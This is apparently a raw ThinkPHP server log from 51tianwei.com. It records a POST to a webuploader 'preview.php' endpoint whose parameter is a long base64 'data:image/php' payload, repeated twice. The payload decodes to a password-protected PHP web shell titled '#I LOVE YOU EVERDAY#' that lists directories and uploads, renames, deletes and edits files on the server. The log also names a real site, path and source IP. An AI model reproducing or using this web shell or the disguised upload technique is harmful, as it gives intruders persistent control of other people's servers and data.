'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:37+08:00 ] 119.42.146.234 POST 51tianwei.com/public/js/webuploader/0.1.5/server/preview.php [运行时间:0.002851s] [吞吐率:350.75req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpO